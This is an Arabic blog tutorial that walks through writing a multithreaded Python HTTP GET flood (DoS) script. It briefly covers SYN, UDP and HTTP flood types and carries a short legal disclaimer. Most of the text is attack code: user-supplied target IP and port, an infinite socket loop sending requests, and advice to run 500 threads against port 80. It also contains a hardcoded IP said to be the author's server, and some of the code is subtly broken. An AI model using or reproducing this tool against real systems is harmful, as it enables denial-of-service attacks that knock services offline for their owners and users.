هجوم DoS (يعني حرفيًا رفض الخدمة) هو هجوم يتم تنفيذه بشكل غير قانوني عادةً، والغرض منه هو إشباع موارد الخدمة أو النظام من خلال إغراقها بالطلبات حتى يتم استنفاد الموارد أو من خلال استغلال أخطاء البرامج. غالبًا ما يتم تنفيذ هذا النوع من الهجوم بمساعدة ما يسمى بشبكات الروبوتات (شبكات من أجهزة الكمبيوتر المصابة التي تعمل كأجهزة DDoS، أو حرفيًا رفض الخدمة الموزع) لتلبية الحاجة إلى توليد كميات كبيرة من حركة المرور.
هجوم DoS هو نوع من الهجمات الإلكترونية التي تهدف إلى تعطيل خدمة أو مورد على شبكة الإنترنت عن طريق إغراقه بحركة مرور غير مرغوب فيها. يمكن استخدام بايثون لبرمجة أدوات بسيطة لمحاكاة هذه الهجمات، مما يساعد في فهم كيفية عملها وكيفية الدفاع ضدها.
تحذير:
يجب استخدام هذه المعلومات للأغراض التعليمية والأخلاقية فقط. شن هجمات DoS على أنظمة غير مصرح بها غير قانوني ويعرضك لعقوبات قانونية.
المتطلبات الأساسية:
- معرفة أساسية ببرمجة بايثون.
- فهم أساسي لشبكات الكمبيوتر وبروتوكول TCP/IP.
- بيئة تطوير بايثون مثبتة.
أنواع هجمات DoS التي يمكن محاكاتها باستخدام بايثون:
- هجوم الفيضان SYN: يتم إرسال عدد كبير من حزم SYN (مزامنة) إلى الخادم المستهدف، مما يستنفد موارده ويمنعه من قبول اتصالات جديدة.
- هجوم الفيضان UDP: يتم إرسال عدد كبير من حزم UDP (بروتوكول مخطط بيانات المستخدم) إلى الخادم المستهدف، مما يسبب ازدحامًا في الشبكة ويستنفد موارد الخادم.
- هجوم HTTP Flood: يتم إرسال عدد كبير من طلبات HTTP إلى الخادم المستهدف، مما يجعله غير قادر على الاستجابة للطلبات المشروعة.
DoS و DDoS في اختبار الاختراق
تُستخدم هجمات الحرمان من الخدمة وهجمات الحرمان من الخدمة الموزعة بشكل أساسي في اختبار الاختراق لإجراء اختبارات إجهاد على خوادم الويب أو مواقع الويب. اختبارات الإجهاد هي شكل من أشكال الاختبار المكثف أو الشامل المتعمد المستخدم لتحديد استقرار نظام أو بنية أساسية أو كيان معين.
والآن، دعونا نبدأ بالبرمجة!
تنفيذ نص DoS في بايثون بسيط للغاية. نحتاج فقط إلى إرسال طلبات HTTP GET إلى مضيف على منفذ معين، مرارًا وتكرارًا. يمكن القيام بذلك باستخدام sockets، وهي مكتبة مدمجة في بايثون. لتسريع العملية وجعلها أكثر كفاءة، سنستخدم أيضًا تعدد الخيوط، مما يسمح لك بتنفيذ الأوامر على نسخ متعددة من نفس العملية، مما يجعل من الممكن تنفيذ أوامر متعددة في الثانية. لذلك، ستكون المكتبات التالية مطلوبة، وبالتالي، يجب استيرادها:
import socket
import threading
الآن أول ما نحتاجه هو عنوان IP الخاص بالهدف، والمنفذ الذي نريد مهاجمته، وعدد الخيوط وعنوان IP “المزيف” الذي نريد استخدامه. يرجى ملاحظة أن هذا النوع من عناوين IP “المزيفة” لا يخفي هويتنا حقًا، ولا يجعلنا مجهولين؛ فهو يعمل فقط كعنوان IP “بداية” لإرسال طلبات HTTP GET.
target = str(input("Insert target’s IP: "))
port = int(input("Insert Port: "))
Trd = int(input("Insert number of Threads: "))
fake_ip = '44.197.175.168'
كما ترى أعلاه، لكل من الهدف والمنفذ وعدد الخيوط، سنقوم بإدخال نوع السلسلة (نص) وإدخالين من نوع العدد الصحيح (رقمي) على التوالي، من أجل ترك مستخدم الأداة لدينا، حرية اختيارهما، مباشرة أثناء استخدام الأداة. كما قلت بالفعل، فإن ممارسة DoSsing غير قانونية (باستثناء حالة Pentesting)، لذا انتبه إلى الهدف الذي تختار مهاجمته (أقترح عليك إجراء هجوم اختبار على موقع الويب الخاص بك). كعنوان IP “مزيف”، اخترت عنوان مثيل EC2 الشخصي الخاص بي على AWS، المستخدم كخادم ويب، ولكن يمكنك اختيار أي عنوان IP موجود تملكه. أخيرًا وليس آخرًا، أوصي بمهاجمة المنفذ 80، وهو منفذ HTTP. إذا كنت تريد إيقاف خدمة معينة، فأنت بحاجة إلى معرفة المنفذ الذي تعمل عليه (على سبيل المثال، المنفذ 443 لموقع ويب هو منفذ خدمة TCP، و80 هو منفذ خدمة HTTP، وما إلى ذلك). الشيء التالي الذي يتعين علينا القيام به هو تنفيذ دالة الهجوم الفعلية.
def attack():
while True:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
s.sendto(("GET /" + target + " HTTP/1.1\r\n").encode(’ascii’), (target, port))
s.sendto(("Host: " + fake_ip + "\r\n\r\n").encode(’ascii’), (target, port))
s.close()
هذه الدالة الهجومية هي الدالة التي سيتم تنفيذها في كل من خيوطنا الفردية. يبدأ الكود “while True” حلقة لا نهائية، حيث ينشئ مقبسًا، ويتصل بالهدف، ويرسل طلب HTTP مرارًا وتكرارًا. بالطبع، إذا كنا سنهاجم منفذًا آخر، فسيتعين علينا أيضًا تغيير نوع الطلب الذي نرسله. في الكود أعلاه، يمكنك أن ترى أننا قمنا بإنشاء الدالة “attack()
“. محتوى الدالة هو كما يلي:
- نقوم بالاتصال بعنوان IP ومنفذ الهدف الخاص بنا؛
- نقوم بإنشاء طلبات HTTP GET المشفرة بتنسيق ASCII والتي سنرسلها، بشكل متكرر، إلى هدفنا.
- الآن آخر شيء نحتاج إلى القيام به هو تشغيل عدة خيوط، والتي بدورها تؤدي هذه الوظيفة في نفس الوقت. إذا قمنا بتشغيل الالة فقط (بدون تعدد الخيوط)، فسوف ترسل العديد من الطلبات مرارًا وتكرارًا، ولكن سيتم إرسالها واحدًا تلو الآخر فقط. باستخدام تعدد الخيوط، يمكننا إرسال العديد من الطلبات في نفس الوقت.
for i in range(Trd):
thread = threading.Thread(target=attack)
thread.start()
في هذه الحالة، نختار بدء 500 سلسلة لتنفيذدالتنا. من الواضح أنه يمكننا “اللعب” بهذا العدد، واختيار رقم مختلف في الإدخال الذي رأيناه في البداية (لكنني أوصي باستخدام 500). عندما نقوم الآن بتشغيل البرنامج النصي الخاص بنا، يحدث بالفعل DoSsing، ولكن إذا أردنا رؤية المزيد من المعلومات، فيمكننا طباعة عدد الطلبات أثناء إرسالها (ستؤدي هذه العملية إلى إبطاء هجومنا قليلاً، ولكن ليس بالقدر الكافي لجعله غير فعال).
global attack_num
attack_num += 1
print(attack_num)
لتحسين البرنامج النصي الخاص بنا قليلاً، سنستخدم Toilet، وهي حزمة مفتوحة المصدر لطباعة النصوص. لتنفيذ أوامر Toilet (الأوامر المكتوبة بلغة Bash)، سنحتاج إلى استيراد مكتبة os:
import os
وأخيرًا سنقوم بتنفيذ الأمر “toilet ToolName” باستخدام الكود التالي، والذي سنضيفه في بداية البرنامج النصي الخاص بنا:
os.system("clear") # Bash command to clear the terminal from the previous text
os.system("toilet ToolName") # os.system("Bash Command") allows the os to execute the command specified in the shell where we are using the tool
ينتهي هذا الدرس هنا يا رفاق، أتمنى أن تكونوا قد استمتعتم به وتعلمتم شيئًا جديدًا. إلى اللقاء في المرة القادمة!
اكتشاف المزيد من بايثون العربي
اشترك للحصول على أحدث التدوينات المرسلة إلى بريدك الإلكتروني.